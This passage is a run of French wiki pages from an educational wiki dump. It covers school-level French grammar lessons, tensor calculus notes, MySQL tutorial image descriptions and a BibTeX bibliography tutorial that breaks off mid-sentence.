; # établir l'ordre dans lequel il faut effectuer ces phases. == Exemple == === Énoncé === ''Classez dans un tableau, selon leur groupe, les verbe conjugués du texte. (que vous aurez tout d'abord soulignés)'' === Analyse === * Termes a valeur impérative: classez; vous aurez (...) soulignés. * L'exercice doit donc etre exécuté en deux phases ; celles-ci sont mises entre crochets. * L'ordre dans lequel il faut travailler est l'inverse de celui que présente l'énoncé, comme le signale l'expression « tout d'abord ». === Conclusion === Il faut donc : # souligner les verbe ; # classer les verbes selon leur groupe. Français/QUOIQUE et QUOI QUE 7762 37737 2006-03-15T17:36:00Z 83.205.133.87 Veillez à ne pas confondre quoique et quoi que, qui bien que proches par leur sens, ont des constructions différentes dans la phrase. '''Quoique, conjonction''' Quoique est une conjonction de subordination qui signifie « bien que ». Elle s’écrit toujours '''en un seul mot'''. ''Quoiqu’elle soit encore très jeune, elle fait preuve d’une grande maturité.'' Quoique n’a aucune fonction par rapport à un autre terme de la proposition. Elle a pour seul rôle d’introduire la proposition subordonnée. Si on transforme la subordonnée en indépendante, quoique disparaît (elle est encore très jeune mais elle fait preuve…). On peut s’assurer que l’on a bien affaire à la '''conjonction quoique''' si on peut la remplacer par la conjonction bien que. '''Bien qu’'''elle soit encore très jeune, elle fait preuve d’une grande maturité. Quoique peut s’employer sans verbe conjugué. Quoique très jeune, elle fait preuve d’une grande maturité. '''Quoi que, pronom''' Quoi que est une locution pronominale qui signifie « quelle que soit la chose qui, quelle que soit la chose que ». La locution s’écrit toujours '''en deux mots'''. ''Quoi que nous décidions, nous devons en tenir informés nos administrés. (= quelle que soit la chose que nous décidions…). Il voulait obtenir gain de cause, quoi qu’il arrive.'' Contrairement à quoique, le pronom quoi que ne sert pas uniquement à introduire la proposition. Il a toujours une '''fonction'''. Lorsqu’on transforme la subordonnée en indépendante, on doit remplacer quoi que par quelque chose (nous décidons quelque chose… ; il arrive quelque chose). On écrit toujours '''quoi que''' en deux mots dans les locutions quoi que soit (quand elle signifie « n’importe quoi ») et quoi qu’il en soit. Vous pouvez lui demander '''quoi que''' ce soit, il saura vous répondre. Les consignes d'un énoncé 7765 37767 2006-03-15T18:31:29Z Guillaumito 46 [[Les consignes d'un énoncé]] déplacé vers [[Français en classe de cinquième/Lire un énoncé]]: cette page fait partie du livre sur le français en cinquième #REDIRECT [[Français en classe de cinquième/Lire un énoncé]] Image:MysqlInstallation 1.gif 7767 37861 2006-03-16T07:46:54Z Daxuza 1230 Illustration de l'installation de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Illustration de l'installation de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Image:MysqlInstallation 2.gif 7768 37862 2006-03-16T07:47:06Z Daxuza 1230 Illustration de l'installation de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Illustration de l'installation de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Image:MysqlInstallation 3.gif 7769 37863 2006-03-16T07:47:20Z Daxuza 1230 Illustration de l'installation de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Illustration de l'installation de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Image:MysqlConfiguration 1.gif 7770 37864 2006-03-16T07:47:50Z Daxuza 1230 Illustration de la configuration de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Illustration de la configuration de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Image:MysqlConfiguration 2.gif 7771 37865 2006-03-16T07:47:58Z Daxuza 1230 Illustration de la configuration de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Illustration de la configuration de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Image:MysqlConfiguration 3.gif 7772 37866 2006-03-16T07:48:06Z Daxuza 1230 Illustration de la configuration de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Illustration de la configuration de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Image:MysqlConfiguration 4.gif 7773 37867 2006-03-16T07:48:14Z Daxuza 1230 Illustration de la configuration de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Illustration de la configuration de mysql pour l'article Instruction_pour_bien_suivre_le_cours_SQL Calcul tensoriel/Notions élémentaires/Tenseurs 7774 43404 2006-05-29T11:31:21Z Fapae 1199 Utilisation du : Dans un espace de dimension ''N'', un tableau à ''P'' indices <math>T_{i_1 i_2 \ldots i_P}</math>, chaque indice pouvant prendre ''N'' valeurs représente les '''composantes covariantes''' d'un '''tenseur d'ordre ''P''''' dans un système de coordonnées données, si ce tableau se transforme comme les vecteurs de [[Calcul tensoriel/Notions élémentaires#Base locale|base locale]] lors d'un [[Calcul tensoriel/Notions élémentaires#Transformations entre systèmes de coordonnées|changement de système de coordonnées]]. : <math>\left[T_a\right]_{i_1 i_2 \ldots i_P} = \left[T_b\right]_{j_1 j_2 \ldots j_P} \left[\theta_{ba}\right]^{j_1}{}_{i_1} \left[\theta_{ba}\right]^{j_2}{}_{i_2} \ldots \left[\theta_{ba}\right]^{j_P}{}_{i_P} </math> Un tableau <math>T^{i_1 i_2 \ldots i_P}</math> représente les '''composantes contravariantes''' d'un '''tenseur d'ordre ''P''''' dans un système de coordonnées données, si ce tableau se transforme comme les variations infinitésimales des coordonnées lors d'un [[Calcul tensoriel/Notions élémentaires#Transformations entre systèmes de coordonnées|changement de système de coordonnées]]. : <math>\left[T_a\right]^{i_1 i_2 \ldots i_P} = \left[T_b\right]^{j_1 j_2 \ldots j_P} \left[\theta_{ab}\right]^{i_1}{}_{j_1} \left[\theta_{ab}\right]^{i_2}{}_{j_2} \ldots \left[\theta_{ab}\right]^{i_P}{}_{j_P} </math> On verra plus bas que des composantes contravariantes et covariantes peuvent correspondre au même tenseur, la [[Calcul tensoriel/Notions élémentaires#Transformation contraco|transformation]] étant obtenue au moyen du [[Calcul tensoriel/Notions élémentaires#Tenseur métrique|tenseur métrique]]. De la même manière qu'on définit un champ vectoriel comme un vecteur fonction de la position dans l'espace, on définit un '''champ tensoriel''' comme un tenseur fonction de la position dans l'espace. Dans la suite, on utilisera le simple mot tenseur, alors qu'on considérera en général un champ tensoriel. Il n'y a pas de difficulté à définir un tenseur en '''composantes mixtes'''. On aura par exemple : <math>\left[T_a\right]^{i}{}_j{}^k = \left[T_b\right]^{l}{}_m{}^n \left[\theta_{ab}\right]^{i}{}_{l} \left[\theta_{ba}\right]^{m}{}_{j} \left[\theta_{ab}\right]^{k}{}_{n} </math> Calcul tensoriel/Notions élémentaires/Produit tensoriel 7775 39541 2006-04-03T15:30:26Z 193.50.189.4 Deux tenseurs ''A'' et ''B'' d'ordre ''P'' et ''Q'' étant donnés par leurs <math>N^P</math> et <math>N^Q</math> composantes covariantes, contravariantes ou mixtes, le produit des composantes définit un tableau de <math>N^{P+Q}</math> composantes. Ce tableau se transforme évidemment comme les composantes d'un tenseur ''C'' d'ordre <math>P+Q</math>, appelé produit tensoriel de ''A'' et ''B''. On écrira par exemple <math>C^{ijk} = A^{ij} B^k</math>. Calcul tensoriel/Notions élémentaires/Produit de tenseurs 7776 37875 2006-03-16T08:18:13Z Fapae 1199 [[Calcul tensoriel/Notions élémentaires/Produit de tenseurs]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Produit tensoriel]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Produit tensoriel]] Calcul tensoriel/Notions élémentaires/Contraction 7777 43407 2006-05-29T11:33:26Z Fapae 1199 Utilisation du : Un tenseur d'ordre ''P'' étant donné, on obtient un tenseur d'ordre <math>P-2</math> en sommant toutes les termes correspondant aux mêmes valeurs de deux indices donnés, l'un covariant, l'autre contravariant. : <math>A^{ik} = \sum_j B^{i}{}_j{}^{kj}</math> Avec la [[Calcul tensoriel/Notions élémentaires#Transformation contraco|convention d'Einstein]], on écrit : <math>A^{ik} = B^{i}{}_j{}^{kj}</math> Puisque l'on a <math>B^{i}{}_j{}^{kn} = B^{i}{}_{}^{mkn} g_{jm}</math>, on peut effectuer la contraction sur deux composantes contravariantes ou bien deux composantes covariantes au moyen du [[Calcul tensoriel/Notions élémentaires#Tenseur métrique|tenseur métrique]] : : <math>A^{ik} = B^{imkn} g_{mn} = B^{i}{}_{m}{}^k{}_{n} g^{mn} </math> Français en classe de cinquième/L'article de dictionnaire 7778 38443 2006-03-20T13:55:55Z Guillaumito 46 ortho et tentative de mise en forme... === Le dictionnaire === Le dictionnaire est un outil dont il faut se servir régulièrement pour vérifier l'orthographe d'un mot et pour enrichir son vocabulaire. Un article de dictionnaire est organisé d'une façon très stricte : * Il donne '''l'écriture phonétique''' du mot (prononciation). * Il indique l''''éthymologie''' (science qui étudie l'origine des mots). * Il donne une définition du mot en distinguant le '''sens propre''' du '''sens figuré'''. ** Le sens propre d'un mot est son sens premier. Exemple : ''le feu de bois''. ** Le sens figuré est un emploi détourné, imagé du mot. Exemple : ''le feu de l'action''. * Il propose des '''synonymes''' et des '''antonymes'''. ** Les synonyme est un mot de même nature qui a un sens équivalent ou proche du mot a expliquer ** L'antonyme est un mot de même nature qui a un sens contraire au mot a expliquer. Français en classe de cinquième/Savoir définir un mot 7779 38444 2006-03-20T14:02:59Z Guillaumito 46 ortho et tentative de mise en forme... == Méthode == Pour définir correctement '''un mot''', il faut d'abord distinguer a quelle '''catégorie grammaticale''' il appartient (nom, adjectif, verbe...). Ensuite il faut le remlacer par un '''mot de même nature''' : un verbe par un autre verbe, un nom par un autre nom... == Exemples == === Définir un verbe === Exemple : '''lire''' est un verbe a l'infinitif. La phrase qui le définit doit '''obligatoirement''' commencer par un verbe a l'infinitif. * Lire #* suivre de yeux en identifiant une écriture ou des caractères d'imprimerie ; #* être capable de déchiffrer un texte. === Définir un nom === Le nom se définit par un (ou des) nom(s) synonyme(s). Exemple : * inquiétude #* souci, angoisse. Il est utile de faire la différence entre les noms qui évoquent une action et ceux qui désignent la personnes qui fait l'action. Exemple : #* lecteur = '''personne qui''' déchiffre et comprends un texte; #* lecture = action de déchiffrer et comprendre un texte. === Définir un adjectif === L'adjectif se définit par un adjectif synonyme ou par une proposition subordonnée relative Exemple : * gentil #* aimble #* qui sait se montrer aimable #* dont l'aimabilité est la qualité principale === Définir un adverbe de manière === L'adverbe de manière se définit par un adverbe synonyme ou par une expression commencant par '''avec''' Exemple : * gentiment #* aimablement #* avec amabilité Calcul tensoriel/Notions élémentaires/Système de coordonnées localement géodésique 7780 37898 2006-03-16T09:04:32Z Fapae 1199 Il est possible de construire un système de coordonnées qui annule les dérivées partielles du tenseur métrique, et donc le symbole de Christoffel en un point donné, sans modifier le tenseur métrique en ce point. [[Calcul tensoriel/Notions élémentaires/Système de coordonnées localement géodésique/Construction|Démonstration]]. Il est possible de construire un système de coordonnées qui annule les dérivées partielles du tenseur métrique, et donc le symbole de Christoffel sur une ligne donnée. Calcul tensoriel/Notions élémentaires/Système de coordonnées localement géodésique/Construction 7781 37899 2006-03-16T09:09:57Z Fapae 1199 Pour annuler au point ''P'', on pose <math>y^i = x^i + \frac{1}{2} \Gamma^i_{kl}\left(\mathrm{P}\right) \left(x^k - x^k(P)\right)\left(x^l - x^l(P)\right)</math> Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Changement de coordonnées 7783 37908 2006-03-16T09:20:09Z Fapae 1199 <math>\left[\Gamma_a\right]^i_{kl} = \left[\Gamma_b\right]^m_{np} \frac{\partial\left[x_a\right]^i}{\partial\left[x_b\right]^m} \frac{\partial\left[x_b\right]^n}{\partial\left[x_a\right]^p} \frac{\partial\left[x_b\right]^p}{\partial\left[x_a\right]^l} + \frac{\partial^2\left[x_b\right]^m}{\partial\left[x_a\right]^k\partial\left[x_a\right]^l} \frac{\partial\left[x_a\right]^i}{\partial\left[x_b\right]^m} </math> Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction/Démonstration 7785 37914 2006-03-16T09:30:44Z Fapae 1199 Partant de l'expression du symbole de Christoffel [[Calcul tensoriel/Notions élémentaires#Symbole de Christoffel fonction de la dérivée partielle du tenseur métrique|en fonction de la dérivée partielle du tenseur métrique]] <math>\Gamma^k_{ij} = \frac{1}{2} g^{kl} \left(g_{lj,i} + g_{li,j} - g_{ij,l}\right)</math>, et profitant de la [[Calcul tensoriel/Notions élémentaires#Tenseur métrique|symétrie du tenseur métrique]] <math>g_{li} = g_{il}</math>, on a <math>\Gamma^i_{ij} = \frac{1}{2} \left( g^{il} g_{lj,i} + g^{il} g_{il,j} - g^{il} g_{ij,l}\right)</math>. Échangeant les indices ''i'' et ''l'' dans le dernier terme, on voit que le premier terme le neutralise et l'on obtient <math>\Gamma^i_{ij} = \frac{1}{2} g^{il} g_{il,j}</math>. D'autre part la différentielle du [[Calcul tensoriel/Appendices/Déterminant|déterminant]] <math>\det{g}</math> s'obtient en sommant le produit de chaque différentielle <math>d g_{ij}</math> d'un élément de matrice <math>g_{ij}</math> par le [[Calcul tensoriel/Appendices/Mineur|mineur]] correspondant à cet élément. Comme la matrice <math>g^{ij}</math> est l'[[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse|inverse de la matrice du tenseur métrique]] <math>g_{ij}</math>, les mineurs cherchés sont <math>\left(\det{g}\right) \; g^{ij}</math>. Ainsi <math>d \left(\det{g}\right) = \left(\det{g}\right) \; g^{ij} \; d g_{ij}</math> et donc <math>g^{ij} \partial_k\left(g_{ij}\right) = \frac{1}{g} \partial_k \left(\det{g}\right)</math> On a finalement <math>\Gamma^i_{ij} = \frac{1}{2 g} \partial_j \left(\det{g}\right)</math>, c.q.f.d. Français en classe de cinquième/Le champ lexical 7788 38432 2006-03-20T13:46:43Z Guillaumito 46 [[Le champ lexical]] déplacé vers [[Français en classe de cinquième/Le champ lexical]] == Méthode == Savoir '''établir un champ lexical''' est une étape essentielle de la '''lecture méthod'''ique d'un texte. Un champ lexical est constitué par '''l'ensemble des mots''' (appartenant a toutes les catégories gramaticales: verbe, adjectif, nom, adverbe) liés a une '''meme idée''' (a un meme theme). == Exemple == == Savoir établir un champ lexical == Un petit roseau m'a suffit Pour faire frémir ''l'herbe haute'' Et tout le ''pré'' Et les deu ''saules'' Et le ''ruisseau'' qui ''chante'' aussi: Un petit roseau m'a suffit A faire chanter la foret Ceux qui passent l'ont ''entendu'' Au fond du soir, en leur pensées Dans le ''silence'' et dans le ''vent'' Clair ou perdu Proche ou lointain [...] Ceux qui passent en leurs pensées ''En écoutant'' au fond d'eux memes, ''L'entendront'' encore et ''l'entendent'' Toujours qui ''chante.'' Il m'a suffit De ce petit roseau cueilli A la fontaine ou vint l'Amour Mirer, un jour, Sa face grave Et qui ''pleurait'' Pour faire ''pleurait'' ceux qui passsent Et trembler ''l'herbe'' et frémir ''l'eau'': Et j'ai du souffle d'un roseau Fait ''chanter'' toute ''la foret''. ''Henri de Régnier (1864-1936)'' En regroupant les mots par theme, on constate que le texte compte de nombreux termes liés au theme de la nature et que le theme de la musique est bien représenté. Le mot qui reunit ces deux themes est '''''roseau''''' #* le roseau est un élément de la nature; #*le roseau peut etre transformé en petite flute, c'est a dire en instrument de musique Image:SylYogConfiguration.GIF 7790 38002 2006-03-16T17:26:11Z Daxuza 1230 Illustraion de la configuration de SQLYog dans le cadre de l'article Instruction pour bien suivre le cours SQL Illustraion de la configuration de SQLYog dans le cadre de l'article Instruction pour bien suivre le cours SQL Image:SQLyog.GIF 7791 38007 2006-03-16T17:34:39Z Daxuza 1230 Illustraion de l'interface de SQLYog dans le cadre de l'article Instruction pour bien suivre le cours SQL Illustraion de l'interface de SQLYog dans le cadre de l'article Instruction pour bien suivre le cours SQL Tribologie - Techniques de lubrification 7794 38023 2006-03-16T21:39:29Z Jean-Jacques MILAN 114 {{Tribologie}} {{ébauche}} == Généralités == Trop souvent, c'est après que les machines ou les équipements ont été conçus que l'on s'intéresse à leur lubrification et d'une façon plus générale aux divers problèmes tribologiques. Ces aspects sont pourtant essentiels si l'on ne veut pas que la lubrification soit le tendon d'Achille du produit fini, et c'est pourquoi on ne fera jamais assez de formation professionnelle sur ce sujet. Une bonne lubrification des parties mobiles des machines, particulièrement des roulements et des engrenages, est essentielle pour éviter l'usure adhésive, réduire les frottements, évacuer la chaleur et les débris et protéger les pièces contre la corrosion. Elle permet d'accroître les performances, d'augmenter les charges, les vitesses et les températures de fonctionnement. Beaucoup d'entreprises souffrent des mauvaises pratiques de leurs services de maintenance. Une lubrification insuffisante provoque des échauffements, des usures anormales et des défaillances prématurées mais une lubrification excessive a des effets du même ordre. Dans bien des situations la recherche d'un point d'équilibre, d'un optimum, devrait est la règle. Les responsables de la lubrification doivent également savoir reconnaître les signes avant-coureurs et les symptômes des problèmes d'usure et de lubrification : une élévation de température, des bruits ou des vibrations inhabituels, des changements rapides de couleur des lubrifiants, etc. Mysql 7795 38033 2006-03-17T05:44:59Z Daxuza 1230 En attendant la création du document voici quelques liens : * [[Instruction_pour_bien_suivre_le_cours_SQL|Instruction pour bien suivre le cours SQL]] : Un mini tutorial sur l'instalation de MySql (Windows). * [[Découverte de MySQL, PostgreSQL et Oracle]] * http://fr.wikipedia.org/wiki/Mysql : Description, historique et tout les liens pour MySql. Wikiversite 7796 38057 2006-03-17T10:42:05Z Greudin 1 #REDIRECT[[Wikiversité]], lien erroné depuis delegation.gouv #REDIRECT[[Wikiversité]] Français en classe de cinquième/Famille étymologique 7798 38434 2006-03-20T13:46:58Z Guillaumito 46 [[Famille étymologique]] déplacé vers [[Français en classe de cinquième/Famille étymologique]] == Méthode == -Une '''famille étymologique''' (ou famille de mots) est consttuée par tousles mots appartenant à des catégories grammaticales différentes et qui ont la même racine. Ex.: peur; peureux; apeuré... constituent une famille. '''Peureux''' et '''apeuré''' sont des '''dérivés''' de '''eur'''. -À la racine (appelée aussi radial), s'ajoutent '''préfixe''' et '''suffixe'''. Le préfixe est un élément qui se fixe au début du mot pour former un dérivé, il ne peut pas changer la nature du mot: Ex.: un verbe reste un verbe : porter = '''ap'''poter. Le suffixe est un élément que l'on place à la fin d'un mot pour former un dérivé ; il change, en général, la nature du mot. Ex.: un nom peut devenir verbe : plomb = plomb'''er'''. == Example == === Constituer une famille de mots === Attention: une même famille peut être constituée à partir de deux ou trois racines légèrement différentes. Ex.: la famille de feuille connait 2 radicaux #*feuill- #*foli- === Exprimer une nuance par un suffixe === Cetains suffixes ont pour fonction d'apporter une nuance au mot et non de la faire changer de catégorie grammaticale. -Nuance péjorative: -atre, -ard, -aud... Ex.: blanc = blanc'''atre'''; court = court'''aud'''; riche = rich'''ard'''. -Nuance diminutive: -elle, -et, -ette... Ex.: fille = fill'''ette'''; rue = ru'''elle'''; garçon = garçonn'''et''' Français en classe de cinquième/Classes de mots 7799 38436 2006-03-20T13:47:11Z Guillaumito 46 [[Classes de mots]] déplacé vers [[Français en classe de cinquième/Classes de mots]] == Savoir == === Le verbe === Il exprime une action ou un état et s'accorde avec le sujet. === Le nom === Il désigne un être, une chose ou une notion abstraite '''Ex.: un homme; une table; la liberté.''' === Le pronom === Il remplace le nom. Il existe plusieurs categories de pronoms: #*pronoms personnels; '''Ex.: je, tu il, ..., me, te, se...''' #*pronoms relatifs; '''Ex.: qui, que, quoi, dont, ou...''' #*pronoms possessifs; '''Ex.: le mien, la mienne, le tien...''' #*pronoms démonstratifs; '''Ex.: celui, celle...''' #*pronoms indéfinis; '''Ex.: certains, d'autres...''' #*pronoms numéraux ordinaux; '''Ex.: le première, le deuxième...''' #*pronoms interrogatifs; '''Ex.: qui?...''' === Le déterminant === Il introduit les noms ou GN. Il en existe plusieurs catégories: #*articles; '''Ex.: le, la, les, un, une, des, du...''' #*adjectifs démonstratifs; '''Ex.: ce, ces, cette.''' #*adjectifs possessifs; '''Ex.: ma, ta, ton, son, sa...''' #*adjectifs numéraux cardinaux; '''Ex.: un, deux, trois...''' #*adjectifs interogatifs et exclamatifs; '''Ex.: que...? quel...!''' === L'adjectif qualificatif === Il accompagne le nom avec lequel il s'accorde en genre et en nombre === L'adverbe === #*le verbe Ex.:Il combat '''courageusement'''; #*l'adjectif Ex.: Il est '''très''' grand; #*l'adverbe Ex.: Il court '''très''' vite. === La préposiion === Elle introduit un complément. '''Ex.: à, de, par, dans, avant...''' === La conjonction === Elle réunit deux mots ou deux propositions de même nature. -La conjonction de coordination '''Ex.: mais, ou, et, donc, or, ni, car.''' -La conjonction de subordination: introduit une proposition subordonée '''Ex.: quand, lorsque, bien que, parce que...''' === L'interjection === Elle exprime un sentiment violent, une émotion, un ordre. '''Ex.: Oh! Ah! Hélas! Chut!...''' Français en classe de cinquième/Les types de phrase 7800 44279 2006-06-10T19:23:50Z 24.202.123.248 /* Phrase exclamative */ == Méthode == === Phrase déclarative === Elle permet de constater un fait, de donner une imformation, de formuler une opinion Ex.: La piscine ouvre à 10 heures. === Phrase déclarative === Elle permet de fomulet un ordre ou un conseil. Le verbe est: #*à l'impertif; #*au subjonctif; #*au futur; #*à l'infinitif; === Phrase interrogative === Elle permet de poser une question et se termine '''toujours''' par un point d'interrogation. Ex.: À quelle heure arriveras-tu? === Phrase exclamative === Elle permet d'exprimer un sentiment de surprise, de joie, de peur. Elle termine '''toujours''' par un point dexclamation. Ex.: Comme il a grandi! Chaque type de phrase peut etre combiné avec la négation. Les phrases seront alors '''affirmatives''' ou '''négatives'''. Mais ces dux catégories ne constituent en aucun cas un typ de phrase! elle es toujours avec un "!" == Example == === Reconnaitre les types de phrases === Sois attentif à la ponctuation pour éviter des confusions. -La phrase interrogative ne peut s'achever que par un point d'interrogation Attention ne confonds pas: '''la phrase interrogative''' Ex.:Viendra-t-il? avec '''la phrase déclarative''' Ex.:Je me demande s'il viendra. -Attention ne confonds pas '''les phrases de type impératif''' (qui peuvent se finir par un point d'exclamation) avec '''les phrases de type exclamatif'''. === Conjuguer le mode impératif === Les verbes en '''-er''' ainsi que cueillir - ouvrir - offrir ne prennet pas d''''-s''' à la 2eme personne du singulier Ex.: Jette ce papier. Prends ton cartable. Image:Td7bfig3.png 7804 38099 2006-03-17T19:03:18Z SergeMoutou 1178 Adaptation TTL/CMOS et CMOS/TTL Adaptation TTL/CMOS et CMOS/TTL Français en classe de cinquième/La phrase simple 7805 41677 2006-05-06T09:15:11Z 194.158.98.36 /* Phrase simple à plusieurs propositions */ == Méthode == === Phrase simple à une seule proposition === Dans ce cas, la proposition est une '''proposition indépendante.''' - Cas genéral: la proposition indépendante ne contient qu'un seul verbe conjugué. Ex.: Il partira tôt demain. - Independante à l'infinitif: le verbe n'est pas conjugué. Ex.: Que faire? - Indépendante ellipitique: proposition indépendante incomplète dans laquelle un mot (le verbe) est sous entendu. Ex.: Tu as peur! Moi pas. === Phrase simple à plusieurs propositions === Deux propositions indépendantes peuvent être réunies dans une même phrase . Eles peuvent être - '''juxtaposées,''' c'est-à-dire séparées par une virgule, deux points ou un point virgule; - '''coordonnées,''' c'est-à-dire reliée par une conjonction de coordinnation (mais, ou, et, donc, or, ni, car) ou par des adverbes de liaison (puis, ensuite, enfin, alors, en effet, de plus...). === Phrase non verbale === Elle est aussi appelée '''phrase nominale''': c'est une phrase qui ne contient pas de verbe. Ex.: Soldes à l'intérieur. Grève à la S.N.C.F. == Examples == === Délimiter les propositions === Le noyau de la proposition est constitué par le verbe. Il suffit donc de repérer les verbes pour compter les propositions. === Ne pas confondre proposition indépendante elliptique et proposition indépendante nominale=== Dans le premier cas, un verbe est sous-entendu; dans le second cas, le sens de la phrase est complet sans verbe. Programmation LaTeX Gestion de la bibliographie 7806 46344 2006-06-28T13:45:33Z 129.194.8.73 /* Préparer un document ''Latex'' afin d'utiliser votre fichier ''.bib'' */ {{LaTeX-nav}} Dans pratiquement tous les rapports de recherche ou publications académiques, il est indispensable d'incorporer des références bibliographiques. Cette pénible tâche peut être effectuée par Latex qui a été conçu pour ce genre de travail, et dispose de toute une variété d'outils qui rendent le traitement de vos références bibliographiques plus simple. Latex intègre un support permettant de citer des références. Cependant, un moyen beaucoup plus puissant et plus flexible est l'emploi d'un outil auxiliaire appelé ''Bibtex'' (considéré comme une extension de Latex). ''Bibtex'' vous permet d'emmagasiner toutes vos références bibliographiques dans un fichier externe, une base de données à deux dimensions. Vous pouvez alors facilement lier cette base de données à n'importe quel document Latex, et citer n'importe quelle référence contenue dans le fichier. Cela est souvent plus commode que de placer la bibliographie à la fin des documents que vous écrivez. Vous pouvez disposer d'un approvisionnement centralisé de références bibliographiques, et les lier à autant de documents que vous souhaitez (écrire une fois, et lire beaucoup!). Naturellement, vous pouvez dédoubler vos références bibliographiques en autant de fichiers que vous voulez, et ainsi vous pourriez avoir un fichier de références en rapport avec la ''théorie de la relativité'', et un autre au sujet de la ''physique des quanta''. Et si vous écrivez un rapport sur la ''grande théorie de l'unification'' (TGU), qui tente d'établir un lien entre les contradictions de ces deux théories, alors vous pouvez facilement lier les deux fichiers de références à votre document courant, et aussi bien un autre fichier de références sur la ''grande théorie de l'unification'' par exemple. La façon d'emmagasiner vos références vous appartient tout naturellement. === Bibtex === Le [[Programmation LaTeX Structure du document|chapitre précédent]] a donné l'idée d'inclure les références à la fin du document, et d'employer la commande <tt>\cite</tt> afin de s'y rapporter dans le texte. Dans ce guide d'utilisation, je désire vous présenter une meilleure méthode, car la première n'est pas aussi flexible que l'on pourrait penser. C'est pourquoi j'aimerais me concentrer sur l'utilisation de ''Bibtex''. Une base de données de ''Bibtex'' est emmagasinée dans un fichier d'extension ''.bib''. Il s'agit d'un fichier de type texte, qui peut ainsi être lu et modifié facilement. La structure d'un fichier est tout à fait simple. Voici un exemple d'une entrée de ''Bibtex'': @article{greenwade93, author = "George D. Greenwade", title = "The {C}omprehensive {T}ex {A}rchive {N}etwork ({CTAN})", year = "1993", journal = "TUGBoat", volume = "14", number = "3", pages = "342--351" } Chaque entrée commence par la déclaration du type de référence, sous la forme <tt>@''type''</tt>. ''Bibtex'' connaît pratiquement tous les types auxquels vous pouvez penser, notamment les plus courants comme ''book'' pour les livres, ''article'' pour les articles, ''inproceedings'' pour les notes de conférences, etc. Dans cet exemple, je me suis référé à un article publié dans un journal. Après le type, vous devez ouvrir une accolade <tt>{</tt> pour signaler le début la zone destinée aux attributs de référence. Le premier qui suit immédiatement l'accolade, correspond à une marque de citation. Cette marque doit être unique pour toutes les entrées de votre bibliographie. C'est avec ce repère que vous pourrez établir des renvois à cette entrée dans votre document. La façon de dénommer chaque référence vous appartient, mais il y a une convention très répandue qui consiste à employer le nom de famille de l'auteur, suivi de l'année de la publication. C'est cette règle que j'emploie dans ce guide. Ensuite, il devrait vous sembler clair que les champs et les données qui suivent se rapportent à cette référence particulière. Les noms de champ à gauche sont des marques de ''Bibtex''. Ils sont suivis par un signe d'égalité (=) et la valeur pour ce champ est alors placée juste après. ''Bibtex'' s'attend à ce que vous marquiez explicitement le début et la fin de chaque valeur. Il est possible d'employer les guillemets anglais ("), ou les accolades ('{', '}'). Mais signalons que les accolades ont d'autres fonctions, dans des attributs en particulier, ainsi j'ai préféré ne pas les employer ici pour des raisons de clarté. Rappelez-vous que chaque attribut doit être suivi d'une virgule pour qu'ils soient séparés les uns des autres. Vous n'avez pas besoin d'ajouter de virgule au dernier attribut, puisque l'accolade fermante indiquera à ''Bibtex'' qu'il n'y a plus d'attribut pour cette entrée, bien que vous n'obtiendriez aucune erreur si vous en placiez une. Cela peut prendre un peu de temps pour apprendre ce que sont les types de référence, et quels champs sont disponibles pour chaque type (et quels sont ceux qui sont obligatoires ou facultatifs, etc.). Vous pouvez jeter un œil à la page [http://newton.ex.ac.uk/tex/pack/bibtex/btxdoc/node6.html entry type reference] ou à la page [http://newton.ex.ac.uk/tex/pack/bibtex/btxdoc/node7.html field reference] pour la description de tous les champs. Il peut être intéressant pour vous de les garder dans vos pages favorites de votre navigateur internet ou de les imprimer, de sorte qu'elles soient sous votre main quand vous en avez besoin. ====Les auteurs==== ''Bibtex'' gère très souplement les noms d'auteurs. Il peut accepter les formats de noms « Nom Prénom » ou « Prénom Nom ». J'emploie personnellement le premier, mais retenez que l'ordre dans lequel vous les placez, de même que n'importe quelle donnée s'y rapportant, sont changeables et ainsi vous pouvez demander à ''Bibtex'' de manipuler les entrées ou les sorties comme vous l'entendez. Si vous utilisez le format « Nom de famille Prénom », alors vous devez faire attention aux noms de famille composés comme « John von Neumann ». Sous cette forme, ''Bibtex'' suppose que le dernier mot est le nom de famille, et considère tout ce qui le précède comme le prénom et les deuxièmes prénoms. Vous devez donc préciser vous-même à ''Bibtex'' de garder « von » et « Newman » ensemble. Cela est réalisé facilement en utilisant les accolades. Ainsi le résultat final serait « John { von Neumann } ». Mais cela peut être facilement évité avec le format « Nom de famille, Prénom », puisqu'une virgule sépare le nom de famille du prénom. Ensuite, il est possible de demander à ''Bibtex'' de faire référence à plus d'un auteur. Pour cela, il suffit de simplement placer le mot-clé '''and''' entre chaque auteur, comme le montre l'exemple suivant: @book{goossens93, author = "Michel Goossens and Frank Mittlebach and Alexander Samarin", title = "The Latex Companion", year = "1993", publisher = "Addison-Wesley", address = "Reading, Massachusetts" } Cette entrée spécifie que le livre a trois auteurs, et leurs noms sont séparés par des '''and'''. Naturellement, quand ''Bibtex'' sera exécuté il placera uniquement un ''et'' entre le pénultième auteur et le dernier, mais dans le fichier ''.bib'', il a besoin des ''and'' pour différentier les auteurs. ==== Conservation des lettres capitales ==== Au cas où ''Bibtex'' aurait été paramétré pour ne pas préserver les lettres capitales dans les titres, des problèmes peuvent se produire, et en particulier si vous faites référence à des noms propres, ou à des acronymes. Pour demander à ''Bibtex'' de les préserver, entourez la lettre concernée avec des accolades, (ou les lettres, s'il s'agit d'acronymes). === Préparer un document ''Latex'' afin d'utiliser votre fichier ''.bib'' === Cette préparation n'est pas très difficile. À la fin de votre fichier ''Latex'' (c'est-à-dire après le contenu, mais avant <tt>\end{document}</tt>), vous devez placer les commandes suivantes: 